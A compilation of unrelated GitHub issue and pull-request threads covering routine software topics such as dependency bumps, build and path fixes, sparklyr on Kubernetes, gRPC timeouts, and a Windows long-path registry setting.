bump twilio from 5.0.3 to 5.0.4 (c4199b1)

This PR was generated with Release Please. See documentation.

:robot: Release is at https://github.com/somleng/somleng-node/releases/tag/v5.0.4 :sunflower:


Speed up model fitting and reduce memory usage

Some options:

Check whether some model parameters can be omitted via the save_pars argument in brms::brm()
Optimize multithreading, currently a single core is used for each chain, but brms supports within-chain parallelism as well. be careful to not allocate more threads than the machine supports
look into GPU speedups via OpenCL (not sure if this will work on all machines though)

Implemented OpenCL support via argument opencl.params that is by default NULL so as to prevent errors. Note that I was unable to get OpenCL GPU or CPU acceleration to work on my MacBook Pro 2020 as (I think) Apple's pre-installed OpenCL drivers are quite old and (according to the Internet) rather shitty. For example, the Intel GPU I have does not support double floating point precision, which I believe is required to run cmdstanr models with GPU support.

Also implemented within chain parallelism in addition to per-chain parallelism with new arguments in findVariableFeaturesBayes(). Checks are made to ensure the total number of requested cores doesn't exceed the available amount.

Add Stan compiler arguments via cmdstanr to better optimize code, as it remains unoptimized by default. see below for the correct brms::brm() parameter (source):
stan_model_args = list(stanc_options = list("O1"))

Also, maybe try a QR composition on the covariates via argument decomp in function brms::bf(), as well as setting normalize = FALSE in function brms::brm()
source for both ideas

Update - the QR decomposition option only applies to the fixed effects design matrix, and since our design matrix only includes a global intercept and then random effects it won't work.
Another idea is to not model the correlation between random effects; I'm unsure how this will affect performance but it's worth a shot.

Confirming that OpenCL GPU acceleration on my M2 Mac Mini also doesn't work, again likely due to no support for double-precision floating points (obtained using clinfo), see here for details


Invoke python using "python3"

Many systems (e.g. Debian) no longer provide the "python" command as
Python 2 is end of life and the "python" command is usually associated
with Python 2.
Fixes: https://github.com/gyim/vim-boxdraw/issues/11

Thanks for the fix! I didn't have this problem, but I guess my distro is just too old...

Thanks for the fix! I didn't have this problem, but I guess my distro is just too old...

this breaks on Windows+python3 which doesn't provide python3.{exe,bat,com}


Dashboard Logging Updates

Summary of Changes
This PR completes logging support that we require before our beta test:

Update the method name for getting dashboard metadata, which will result in a less ambiguous name in our logs.
Separated the logic for processing the source & index logging params into a utility method as this will be reused on every resource detail page. Updated usages accordingly.
Added support to pass dashboard page logging params to the endpoint to be logged appropriately.

Tests
Updated tests to reflect changes.
Documentation
N/A
CheckList
Make sure you have checked all steps below to ensure a timely review.

[ ] PR title addresses the issue accurately and concisely. Example: "Updates the version of Flask to v1.0.2"

In case you are adding a dependency, check if the license complies with the ASF 3rd Party License Policy.

[ ] PR includes a summary of changes, including screenshots of any UI changes.
[ ] PR adds unit tests, updates existing unit tests, OR documents why no test additions or modifications are needed.
[ ] In case of new functionality, my PR adds documentation that describes how to use it.

All the public python functions and the classes in the PR contain docstrings that explain what it does

[ ] PR passes all tests documented in the developer guide

Codecov Report

Merging #436 into feature/dashboard will decrease coverage by 0.70%.
The diff coverage is 100.00%.

@@                  Coverage Diff                  @@
##           feature/dashboard     #436      +/-   ##
=====================================================
- Coverage              78.54%   77.83%   -0.71%
=====================================================
  Files                    212       41     -171
  Lines                   5341     1719    -3622
  Branches                 699      162     -537
=====================================================
- Hits                    4195     1338    -2857
+ Misses                  1088      336     -752
+ Partials                  58       45      -13

Impacted Files
Coverage Δ

amundsen_application/api/metadata/v0.py
76.42% <100.00%> (ø)

...on/static/js/ducks/tableMetadata/owners/reducer.ts

...ic/js/components/TableDetail/OwnerEditor/index.tsx

...nents/TableDetail/RequestMetadataForm/constants.ts

...tic/js/components/SearchPage/SearchPanel/index.tsx

...on/static/js/components/common/SearchBar/index.tsx

...mponents/TableDetail/ReportTableIssue/constants.ts

...dsen_application/static/js/interfaces/Resources.ts

...dsen_application/static/js/config/config-custom.ts

...nts/common/SearchBar/InlineSearchResults/index.tsx

... and 154 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f2dfb8d...9e61a99. Read the comment docs.

@danwom let me know if you have any thoughts on this item. Else I will merge and start reviewing the feature branch


Install and Set Up kubectl on macOS

Hello,
I installed Kubernetes using this method "Install kubectl binary with curl on MacOS". In step 5, I get the error "kubectl: command not found".
MacOS version: 10.12.6
Could you please give a solution?
Regards,
Myat

Can you send me the reference document?

/kind support

reference document: https://kubernetes.io/docs/tasks/tools/install-kubectl-macos/

You can run export | grep PATH.
Check if /usr/local/bin is in the PATH.

Let's mention that /usr/local/bin must be in your $PATH.
This was a support request, but it's also a hint about how to improve the docs
/remove-kind support
/language en

/assign

Let me improve it.

/sig node

/remove-sig node

/sig cli

/triage accepted


[iOS] native asset framework is missing MinimumOSVersion

This fails to pass asset validation in AppStore connect:
2024-05-16 17:42:33.183 *** Error: ERROR: [ContentDelivery.Uploader] Asset validation failed (90530) Invalid MinimumOSVersion. Apps that only support 64-bit devices must specify a deployment target of 8.0 or later. MinimumOSVersion in 'Superlist.app/Frameworks/native_regex_pcre2.framework' is ''. (ID: 5f8e77a3-e89b-471e-90cc-ee144bda0f87)
2024-05-16 17:42:33.184 *** Error: ERROR: [ContentDelivery.Uploader] Asset validation failed (90360) Missing Info.plist value. A value for the key 'MinimumOSVersion' in bundle

cc @dcharkes

I believe this already tracked in:

https://github.com/flutter/flutter/issues/148044

Upstream todo:

https://github.com/dart-lang/native/issues/1133


[BUG] cds.entities not a function

Is there an existing issue for this?

[X] I have searched the existing issues

Nature of Your Project
TypeScript
Current Behavior
const csn = cds.entities('EquipmentService')
this is a part of generated file (js). in cds source I see that entities is actually object
export class entity extends struct<'entity'>
in runtime error happens when interaction with service happens:
    const equipmentService = await connect.to(EquipmentService);
    const query = SELECT.one.from(Equipment, "10000002");
    const equipment = (await equipmentService.run(query)) as Equipment;

because js file is used
Expected Behavior
proper generation of js counterpart
Steps To Reproduce

Define service cds with entity
Generate types
Build (tsc)
Query service in typed fashion as I shown in previous sections

Environment
- **OS**: MacOS 14
- **Node**: 22.8
- **npm**: 10.8
- **cds-typer**: 0.26
- **cds**: 8.2.2

Repository Containing a Minimal Reproducible Example
No response
Anything else?
No response

Note: replacing types with string:
    const equipmentService = await connect.to("EquipmentService");
    const query = SELECT.one.from("Equipment", "10000002");
    const equipment = (await equipmentService.run(query)) as Equipment;

fixes error. so it is definitely generated file error const csn = cds.entities('EquipmentService')

@daogrady npx @cap-js/cds-typer "*"

Hi Olegs,
I meant how you are importing the types in your service implementation. So basically what is above the code you showed in your initial snippet.
Best,
Daniel

More specifically, the error reads as if you used top level imports to import the generated types to your service implementation.
If your imports look anything like this:
// top of implementation file
const { ... } = require('#cds-models/...')

or
// top of implementation file
import * as ... from '#cds-models/...'

then please check the CAPire section related to imports.
If that applies to you, I'd also like to point out the latest configuration option --useEntitiesProxy for cds-typer, which allows top-level imports in most scenarios.

@daogrady yes, you are right. im using top level statements. I have ts configured to compile it to commonjs es6 so it worked after compilation but is a problem when executed by jest-ts node ts runtime. thank you. I will check if it works with this new flag

@GoldSucc If you want to automatically apply this flag, you can add the following to your settings.json in either VS Code or BAS settings. This will ensure that types are generated with the flag:
{
    "cds.typeGenerator.command": "node \"${typerBinary}\" \"${targetFile}\" --outputDirectory \"${outputDirectory}\" --useEntitiesProxy true"
}

Also, if you want to configure this behaviour project-wide for all contributors, you can put it into your cds.env.


PowerToys causes full-screen applications to minimize when opened

After the latest PowerToys update, I had been having an issue with fullscreen games where sometimes they automatically minimize after being launched. If I click on them to maximize them again, they automatically minimize again.
Once I had this issue in 2-3 different games I tried closing programs one at a time to see what might be causing it. The first program I tried was PowerToys (which I think I only have FancyZones enabled for). Closing it immediately fixed the problem.

@trevorlloydelliott
thank you for reporting the issue. It is tracked by https://github.com/microsoft/PowerToys/issues/8976

@trevorlloydelliott
thank you for reporting the issue. It is tracked by https://github.com/microsoft/PowerToys/issues/8976


test

Task/Issue URL: https://app.asana.com/0/1202552961248957/1202810419472767/f
Description
Steps to test this PR
Feature 1

[ ]
[ ]

UI changes

Before
After

!(Upload before screenshot)
(Upload after screenshot)

Current dependencies on/for this PR:

develop

PR #2196   👈

This comment was auto-generated by Graphite.


Status check doesn't work on branch firewall

Environment
Self-Hosted (Docker)
System
docker on synology nas 20.10.23
Version
2.1.1
Describe the problem
i added 4 fortinet firewall , one in the main site and 3 on the branch sites , the one in the main site status check works good , the other 3 reply with service error 404 not found.
i have tried to ssh into nas and run as root ping command to each of these firewall and the reply was ok
let me know
regards
Additional info
No response
Please tick the boxes

[X] You have explained the issue clearly, and included all relevant info
[X] You are using a supported version of Dashy
[X] You've checked that this issue hasn't already been raised
[X] You've checked the docs and troubleshooting guide
[X] You agree to the code of conduct

@Lissy93 do you have any news?

@Lissy93 do you have any news?

Please do NOT ping Lissy.
Sadly neither I nor Lissy can't do much here, without having additional information.
Firewalls can't pretty easily mess up the connection, did you check dashy's host /container can reach all those domains/ip's you configured for the firewalls?
Can you move all firewalls to the main page and test if that works?

hi , i already solved the problem when recently i changed the firewall with new model from fortinet.
from my point of view some http or https service from many device reply in different mode and dashy ping check is not able to report green light


[17.05] Fixing issue seen in service update with network add and remove

Backport of #2139:

The PR contains fix and test cases to address the issue :
moby/moby#32629
The root cause of the issue was with some parts of the code assuming to address only single network attachment for service. The PR addresses issue to handle combination of sequence like network add delete in the same service update or over multiple service updates.

ping @abhinandanpb @aboch @aluzzardi @dongluochen @dperny

cc @vieux

LGTM

LGTM


Fixed build issues on MacOS caused by unset rpath

Similar to Linux, the rpath is now set to @loader_path, the mac version of $ORIGIN on Linux.
Now also moves *.dylibs (macs' version of dll) from lib to install.

worked well for me, thank you!

Worked for me as well!

From a cmake point of view this is wrong. You should not manipulate the CFLAGS. On Linux you need to use:
set_target_properties(piper MACOSX_RPATH TRUE)

and and MacOSX:
set_target_properties(test_piper PROPERTIES BUILD_RPATH_USE_ORIGIN TRUE)

according to: https://cmake.org/cmake/help/latest/prop_tgt/MACOSX_RPATH.html


Kubernetes

One can launch Spark in Kubernetes from sparklyr as:
sc <- spark_connect(
  master = "k8s://http://<IP_ADDRESS>:8001"
  config = list(
    spark.executor.instances = 2,
    spark.kubernetes.container.image = "spark-image"
  )
)

However, connectivity to Kubernetes would be blocked since sparklyr would not be able to find the application master.
See also https://spark.apache.org/docs/latest/running-on-kubernetes.html

Here is some initial ongoing investigation to get this working, not ready for consumption...
In sparklyr you can run something similar to spark with kubernetes to launch a Spark Kubernetes cluster; afterwards, sparklyr needs to find out which is the driver node using kubectl and connects to the driver node. Once connected, sparklyr should work in the same way as when working with any other cluster manager: Yarn, Mesos, etc.
To use kubernetes locally:

Install the kubernetes-cli and minikube, from OS X you can run: brew install kubernetes-cli minikube.
Run minikube start as described in the quickstart
Get the master address by running kubectl cluster-info.
Create a sparklyr folder in SPARK_HOME and copy the sparklyr jars from ``.
Modify the Spark kubernetes/dockerfiles/spark/Dockerfile to create a /opt/sparklyr path and copy the sparklyr jars. For instance by adding mkdir -p /opt/sparklyr && \ and COPY sparklyr /opt/sparklyr.
Generate the cluster docker images by running from SPARK_HOME: ./bin/docker-image-tool.sh -m -t sparklyr build. However, you might hit an error with a workaround available in this post.

Launch sparklyr as follows:
sc <- spark_connect(
  master = "k8s://https://<IP_ADDRESS>:8443",
  config = list(
    "sparklyr.shell.master" = "k8s://https://<IP_ADDRESS>:8443",
    "sparklyr.shell.deploy-mode" = "cluster",
    "sparklyr.shell.name" = "sparklyr",
    "sparklyr.shell.conf" = c(
      "spark.kubernetes.container.image=spark:sparklyr",
      "spark.kubernetes.driver.pod.name=spark-pi-driver"
    ),
    "sparklyr.app.jar" = "local:///opt/sparklyr/sparklyr-2.3-2.11.jar"
  ),
  spark_home = spark_home_dir()
)

Implemented with https://github.com/rstudio/sparklyr/pull/1599

@javierluraschi Thank you for making the effort to build kubernetes support into sparklyr.
I'm trying to understand how to implement this for myself, and am hoping you could shed a bit more light, please. I am trying to connect to a remote spark master on the same kubernetes cluster as my rstudio-server instance (with sparklyr installed), with the aim of being able to execute sparklyr commands against the spark cluster from within rstudio. I have added the sparklyr jars to the spark container, but when I try to run the spark_connect code above (substituting my local urls etc.), I get the following error
Error in shell_connection(master = master, spark_home = spark_home, app_name = app_name,  :
  Failed to connect to Spark (SPARK_HOME is not set).

Am I misunderstanding something fundamental here? For example, does the spark master and rstudio instance have to co-exist on the same container?
Any insight you can provide would be greatly appreciated.
Kevin

@kkeenan02 this work was only to enable connection to new kubernetes clusters... if you have an existing kubernetes clusters, you probably don't even need this work, let me elaborate.
One option to use Kubernetes is for someone to start a Spark cluster, usually your system admin or someone in your team, you can use Kubernetes to start a team cluster running Yarn, Cloudera or why not. Then you can connect to this cluster from sparklyr as "usual", the recommended approach is to also start RStudio Server while creating the kubernetes cluster, such that, once the cluster starts, you can navigate to a URL with RStudio Server and connect using sc <- spark_connect(master = "local"), I'm assuming Yarn is running inside kubernetes, but spark standalone or other options could be in place. For this use case, you don't even need the work of sparklyr 0.9. From what you mention, sounds like you might be in this situation.
The other option which this PR enables in sparklyr 0.9, is for cases where a generic kubernetes cluster is provided, read a bunch of machines without anything installed. In these cases, you can create your own VM image for the cluster that while connecting with spark_connect() triggers the creation of Spark inside the cluster by initializing the right VMs with the right image and then establishing the connection. To be honest, this is a pretty advance use case, so again, my guess is that you are on the former use case and you don't need to worry about where the cluster is actually running.

@javierluraschi, I was trying the other option that you have mentioned with version of sparklyr 1.0.0 with spark (2.4.0) running on kubernetes and yet face the issue that @kkeenan02 has.
Here is my code so far:
config <- spark_config_kubernetes(master="k8s://<IP_ADDRESS>:6443",
                              config = list(
                                spark.submit.deployMode = "client",
                                spark.kubernetes.namespace = "spark-project1",
                                spark.driver.host = "<IP_ADDRESS>",
                                spark.driver.port = 7787,
                                spark.kubernetes.container.image = "http://<IP_ADDRESS>:5000/spark/spark-r",
                                spark.executor.instances = 2,
                                spark.kubernetes.driver.request.cores = 32,
                                spark.kubernetes.driver.limit.cores = 32,
                                spark.kubernetes.executor.request.cores = 12,
                                spark.kubernetes.executor.limit.cores = 13,
                                spark.executor.core = 12,
                                spark.executor.memory = "20G",
                                spark.kubernetes.authenticate.driver.serviceAccountName = "spark"
                              ))

sc <- spark_connect(config = config)

Any suggestions as to what's wrong here ?


Any plan to support vanilla-js mode?

Hey, thanks for your great work.
I'm excited to know is there any plan to make it available for vanilla/non-framework based projects?

Hi there
There is no plan


Add the ability to change camera angle

Add the ability to change the angle of the camera during the Design Version Timelapse.
example:

When action Y(in timeline) is performed change camera perspective to front.

Acceptance criteria:

Ability to change camera position based and a predetermined action chosen from the timeline.

I think this is a little too specific for the scope of these scripts. I'd recommend creating two animations: one at camera angle 1 and another at camera angle 2, then cutting them together in video editing software.


10028 f / Abdo EL HELO / "https://github.com/abhelou"

https://github.com/orgs/projets2017cl/teams/nfp103/members


AAP-16740: display set facts and post events

@jshimkus-rh The individual commits are following the conventional commit guidelines but the PR title is not. Should the PR title also follow the conventional commit guidelines.


Variable shaper

So a lot of the changes here are just rustfmt doing its thing, but this PR also:

Adds a location field to the FontRef struct, to allow for shaping variable fonts.
Passes that location to Harfbuzz when glyphs are being shaped.
Makes the direction/script/language optional in layout_fragment, allowing the user to set explicit values if they want them but using Harfbuzz's guess_segment_properties for a decent default fallback.
Publicizes various structs so that they can be used directly by higher-level layout engines.

Makes the direction/script/language optional in layout_fragment, allowing the user to set explicit values if they want them but using Harfbuzz's guess_segment_properties for a decent default fallback.

This is really bad and should not be happen in production code. hb_buffer_guess_segment_properties() can easily be wrong and the user will be none the wiser. For example it guesses the direction from the script, so an sequence of digits from an RTL script will be set to RTL even though it should almost always be LTR.

(I wish HarfBuzz never made hb_buffer_guess_segment_properties() public and kept it only for the command line test utilities).

Thanks, I'll work on these. I think an architectural question to resolve is whether we see the variation location as an attribute of the FontRef or of the TextStyle. I can see arguments for each. I put them in the FontRef so that they would be available to access when you have a Vec<LayoutFragment> (i.e. when you're breaking the text into lines after shaping). But there's also an argument that a LayoutFragment should know its TextStyle, and if we add that property, it would be much neater to put the variation location into TextStyle too.


Some improvements

Better later than never! No worries, life is 1st priority.
Since I've created the original pull request, I have also added some additional improvements

github actions integration for CI
separate keyboard size for portrait, landscape
dvorak layout (though improvmenets might be needed by, maybe by someone who actually uses dvorak)
refactored the way settings are used, cetralised them into a single file instead of having the application randomly reading it and writing it from various places
cleaned up repo by removing files which are made obsolete by programatically generating the layout

I've made some cherry picks onto your master, fixed merged conflicts and tested on my phone, so this should be conflict free. Though I'm a bit confused on what gradle is doing, I needed up update Android Studio before I was able to test after merging with your master.

I've added updates to the project files. This fixes the CI run, you should be able to see it here https://github.com/peterekepeter/codeboard/actions/runs/78851229

also, might want to update the project board, I think https://github.com/gazlaws-dev/codeboard/issues/49 can be closed

Hi Peter, I've made changes to master, before I noticed your PR. I'll make sure to work on a branch next time, so we don't have merge conflicts in the future. Also we can assign issues we're working on.
This is the first open source project I'm managing so apologies for the noob question: Do you have a resource I can look at to understand CI?
The aim is to have totally customizable keyboards, that the user can save as "Profiles".  Centralizing the prefs is a great idea! For now, if you resolve the conflicts, I can merge it in.

These were changes I did between my previous pull request and well, today I guess. I should have added them to the previous pull request so that they all get merged in one go. This way I had to do some merge conflicts, well twice, but this second time was a bit easier.
I also noticed some merge conflict bugs, the sound toggle was toggling theme by accident.
I've fixed the bug, made a few cleanups, should be good now.
CI is basically some computer running the build command and test command for every commit. This is useful since you get build and test status report right in your pull requests. This is useful because sometimes people forget to run the tests and also during pull requests both the author and reviewer know if build and test passes without needing to manually pull and run and everything. It also makes sure that the project is healthy, can be compiled without errors.
It's much more simple than documentation makes it sound, it's just a computer running the build&test commands, but please do check out https://github.com/features/actions

On top of that, you even get a cool status badge, perfect for the repository readme


TE-14.1: Adding changes from ATE #1067 to OTG tests

Porting changes from #1067 and #1068 to OTG location

For dutPort2 and atePort2, unit 0 subinterface is configured without vlan(vlan-id 0). Added deviation to configure vlan for all subinterfaces to avoid mix of tagged and untagged subinterfaces.

Added network instance type for DEFAULT instance

Index 1-64 are used for programming NH which is used for prefixes in default instance. Updated NH index start value for vrf1(nhID1) from 65, vrf2(nhID2) from 1065 and vrf3(nhID3) from 18565

Did you use an old branch as a base?
Looks like this PR is undoing changes from #1236 and #1235 in addition to what is stated.

/gcbrun

/gcbrun


Fix bug in determining cluster version when running Ansible

The bug is specific to Openshift clusters and only happens when the client and server versions differ

Hi @geoand. Thanks for your PR.
I'm waiting for a istio member to verify that this patch is reasonable to test. If it is, they should reply with /ok-to-test on its own line. Until that is done, I will not automatically test new commits in this PR, but the usual testing commands by org members will still work. Regular contributors should join the org to skip this step.
I understand the commands that are listed here.

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

/ok-to-test

/lgtm

@geoand as a result of https://groups.google.com/forum/#!topic/istio-dev/NLudBXfrRkw - you will either need to rebase on master for me to approve, or assign to someone in the TLD OWNERS file.
Cheers
-steve

@geoand: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-presubmit.sh
2ae0ae680fb3d4ecf764dbffbda2d222adb917ce
link
/test istio-presubmit

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@geoand also, circlci does not rebase PRs on master and your parent revision in git is based upon older code that didn't include the racetest fixes to enable the racetest gate.
I'd recommend rebasing to resolve this problem.

@sdake It seems like my commit is already ahead of the latest master.
I tried fetching / pulling and there was nothing new there...

circleci is in degraded mode: ```Partially Degraded Service - components affected: CircleCI UI, AWS
Updated 15 min ago - CircleCI Frontend Outage: We are seeing issues loading our site as a result of AWS S3 performance degradation. Builds continue to run but we will investigate and monitor this issue as it develops.

@sebastienvas - note this PR is against master, yet it appears OWNERS from install is not being properly referenced: https://github.com/geoand/istio/blob/ansible-cluster-version/install/OWNERS
Could you take a look?
Cheers
-steve

@sdake this feature has been moved from mungegithub (Merger) to Prow, and we need to update.

/retest

@sdake can you please approve again, using the /

/approve

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: christian-posta
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approver: sdake
Assign the PR to them by writing /assign @sdake in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

install/OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@sebastienvas missed this in my inbox - found it as I was going over missed messages.

/approve

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: christian-posta, sdake
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

install/OWNERS [sdake]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@geoand: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e-v1alpha3.sh
2ae0ae680fb3d4ecf764dbffbda2d222adb917ce
link
/test istio-pilot-e2e-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.


add checkout keyboard shortcut document

Base on version 2.29, add checkout keyboard shortcut document

Thank you for noticing that.


[5.10] Optimizer: better handling of the complexity budget in redundant-load-elimination and dead-store-elimination

Explanation: This fixes a compile time problem which occurs when using large C arrays, like the 1023-character path array in statfs.  C-arrays are imported as tuples and cause the size of the SIL to explode if such arrays are large. Both, redundant-load-elimination and dead-store-elimination, already had a protection against quadratic complexity when processing huge SIL functions, but only per single load and store operation. The fix for this problem is to have a complexity budget for the whole function. This catches cases where generated SIL contains a very large number of load and store instructions.

Issue: rdar://116877696

Risk: Low. The risk is not so much on functional correctness, because this change only affects when the optimization bails out. The risk is more about potential performance regressions. But the complexity limits are pretty large and should only trigger in rare cases.

Testing: With a regression test

Reviewer: @atrick (to-do)

Main branch PR: https://github.com/apple/swift/pull/69199

@swift-ci test


Support expr in queries

Q
A

Type
feature

BC Break
no

Fixed issues
#1824

Summary
It's my first contribution.. so i'm not sure i'm doing it the right way ... but anyway here what i've done :

due to naming confusing between actual expr methods (that create new instance of expression helpers) and naming convention of expression operators that implies a future naming collision with $expr operator implementation, i've implemented new methods "createExpr" and add depreciation notice for actual expr methods and avoid BC break. Obviously with the idea that new exprOp method will then get renamed as expr in a futher release.
So i've implemented "exprOp" method throught QueryBuilder & Expr for both Query and Aggregation parts that implement usage of mongodb $expr operator
also added a test for this new implemented exprOp method/operator.

ps: thx for your work/time on this lib, that's really helpfull ;)

@Protocteur thanks for your PR and kind words! This one will need to wait for @alcaeus' input as he's the one with the vision for aggregations and operators :) In the meantime could you please rebase your work atop the 2.3.x branch? This will be a new feature and as such needs to go to the next minor version. Also a small heads up that if we'll go down the deprecation route there'll be couple more administrative things to do

@Protocteur I changed the base of this PR to 2.3.x since that's where new features go. This unfortunately picked up a number of commits. You can rebase your branch yourself, or let us know if you require assistance with it.

I've updated method naming like suggested createAggregationExpression and createQueryExpression.
Removed unnecesssary exprOp inside Aggregation\Expr
added depreciation triggers
update testing
I had a lot of work on my main project that used this update, sorry for the delay ;)

Does it need more change now ? I saw my PR request fail at the checking process, but it seems that come from 2.3.x branch more than the change i've made. So this PR will be shelve for now ?

For sure you need to take a look at coding standards fail, but most probably that can be easily fixed by running vendor/bin/phpcbf locally. I'll look into fixing static analysis fails hopefully this week and will let you know once your branch can be rebased atop new 2.3.x.


Clear the set backdate if content has not been published

Trello Card: https://trello.com/c/TBs5E8vv/919-clear-the-set-backdate-if-content-has-not-been-published
To allow the user to remove a backdate that has been applied to some content,
this commit does the following:

Creates a Destroy Interactor class and associated route for the Backdate, tied into
the controller, to allow clean removal of the backdate value from the Edition.
The backdate is now set to Nil when prompted.

Adds a user action on the Edit Backdate page to allow the backdate to be removed
if there is one set. This action is not present if no date has been set.

Adds an entry in the history tab for when a backdate is removed. Wording to be
confirmed. Along these lines, fixed a bug wherein we were referring to the backdate
from the Edition directly rather than an appropriate Revision. Fix will make more
calls to the database but prevents a Nil error when we nullify the backdate value.

Adds an error for if the user hits an issue when editing the backdate, similar to
scheduling.

Closed it for now, I've found an issue with how things are rendered.

Fixed, reopening.


Adding GXG

I agree to not ping anybody on Discord/Twitter/email about this pull request. Instead I will inquire by posting a new comment in the pull request if needed.

PRs are reviewed in bulk and and can take up to two weeks to be merged.
This repository is managed using an auto merge action. Please ensure your PR has no deleted lines, and it will be merged.
Please provide the following information for your token.
Please include change to the src/tokens/solana.tokenlist.json file in the PR.
DON'T modify any other token on the list.
At minimum each entry should have

Token Address: AGrCEkCgXeTuD8GzHJmw2PEx4DKqmrnNiV6BYCsZK2Vg
Token Name: Geometry Governance token
Token Symbol: GXG
Logo: done
Link to the official homepage of token: https://geometry.fi
Coingecko ID if available (https://www.coingecko.com/api/documentations/v3#/coins/get_coins__id_): N/A

Please read the SPL-token README, and ensure your SPL-token info uses the correct Uniswap format.

Please follow the SPL token-list README and ensure your token info adheres to the Uniswap Token Specification


Export validate CPF and CNPJ methods

This methods may be util for using outside the package

In my opinion this is too much specific for Brazil (CPF and CNPJ are Identification number for citizens and companies, respectively). Also, validation is not the problem that package resolves. Take a look at Yup.


⚠ Fetchers has degraded performance

In 6e497a8, Fetchers ($STATUS_URL) experienced degraded performance:

HTTP code: 200
Response time: 441 ms

Resolved: Fetchers performance has improved in 12a5349.


COMP: Include header for std::pow

To address:
_deps/elastix_fetch-src/Core/Main/elxParameterObject.cxx:499:80: error: 'pow' is not a member of 'std'

OK, thanks @thewtex,  I'll just merge.
It looks like their was a small storm in the cloud that caused the CI failure ;-) :cloud_with_lightning:
I may have another commit, but I will make another branch :-)


Always publish to npmjs.com main public registry

Description
Make sure that we always publish to the main npmjs.com public registry.
Note, we use --@zendesk:registry=https://npmjs.com because configuration
in ~/.npmrc will override --registry=https://npmjs.com if set. 1
Checklist

[ ] :guardsman: includes new unit and functional tests

From what I recall at the moment if internal configuration in ~/.npmrc overrides to artifactory there is no harm as artifactory is mirrored to npm as part of this work done here https://zendesk.atlassian.net/browse/ARTI-3


Add deadline for RPC between controller-manager and chaos-operator

What problem does this PR solve?
#62 Add time limit for GRPC
What is changed and how does it work?
Set timeout for RPC via context.Context. If the RPC gets stalled for too long, the context will break it. The server side also checks if the RPC has been timeout before handling it. Fow now it will wait the RPC to finish for 60s by default.
Check List
Tests

Manual test

Code changes

Has Go code change

Side effects

No

Related changes

No

Does this PR introduce a user-facing change?:
No

Add time limit for gRPC between controller-manager and Chaos-operator

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

@AngleNet cloud you sign CLA ? thank you

/test

CI  failed
[2020-02-05T13:46:36.142Z] GO15VENDOREXPERIMENT="1" CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go fmt ./...
[2020-02-05T13:46:36.704Z] can't load package: import cycle not allowed
[2020-02-05T13:46:36.704Z] package github.com/pingcap/chaos-mesh/cmd/controller-manager
[2020-02-05T13:46:36.704Z] 	imports github.com/pingcap/chaos-mesh/controllers
[2020-02-05T13:46:36.704Z] 	imports github.com/pingcap/chaos-mesh/controllers/iochaos
[2020-02-05T13:46:36.704Z] 	imports github.com/pingcap/chaos-mesh/controllers/iochaos/fs
[2020-02-05T13:46:36.704Z] 	imports github.com/pingcap/chaos-mesh/controllers
[2020-02-05T13:46:36.704Z] make: *** [fmt] Error 1

Will check it later.

/test

Could you please help run test cases ? @zhouqiang-cl

/ok-to-test

Codecov Report

:exclamation: No coverage uploaded for pull request base (master@0e24bea). Click here to learn what that means.
The diff coverage is 0%.

@@            Coverage Diff            @@
##             master     #197   +/-   ##
=========================================
  Coverage          ?   43.52%
=========================================
  Files             ?       18
  Lines             ?      687
  Branches          ?        0
=========================================
  Hits              ?      299
  Misses            ?      355
  Partials          ?       33

Impacted Files
Coverage Δ

pkg/utils/grpc.go
0% <0%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 0e24bea...4296712. Read the comment docs.

@cwen0 @YangKeao PTAL again

Good question. I also doubt about it. However I am not very familiar with the code base and the service internals. Any suggestions about the default timeout ? @mapleFU

Good question. I also doubt about it. However I am not very familiar with the code base and the service internals. Any suggestions about the default timeout ? @mapleFU

I think 60s is enough, @YangKeao  how do you think

@zhouqiang-cl  at least it's configurable, so I think 60s is ok.

:beers: Thanks for your contribution!

Happy to get involved.

@AngleNet could you join slack channel, and can you provide your twitter account name(you can send to us in slack channel or email to<EMAIL_ADDRESS>

OK. I will join the slack channel later. Since twitter is guarded in homeland, I do not use twitter. Sorry for this.


Copy-Item : Illegal characters in path.

Hi,
I am getting several errors while the script executes.  they all appear related to the guid path format.
example:
T:1 C:BackupWinRE M:Moving \?\Volume{b578111f-68ee-4766-b611-2e7a703ebf95}\Recovery\WindowsRE\WinRE.wim to C:\WinRE-Customization\WinREBackups\ and name WinRE29052024_084244.wim
Copy-Item : Illegal characters in path.
At C:\Users\xxx.xxx\OneDrive - Education Payroll Limited\winre-resizeANDinstallKB\Patch-WinRE.ps1:568 char:5

Copy-Item -LiteralPath "$WinRELocationFromReAgentXML" -Destinatio ...

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CategoryInfo          : NotSpecified: (:) [Copy-Item], ArgumentException
FullyQualifiedErrorId : System.ArgumentException,Microsoft.PowerShell.Commands.CopyItemCommand

Any ideas on why this is happening or how to fix?

This likely means that either your operating system or the context that you're running this from doesn't have long paths enabled (needed for support of \\?\{Volume} paths). Try setting the registry key below, rebooting, and trying again.
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem]
"LongPathsEnabled"=dword:00000001

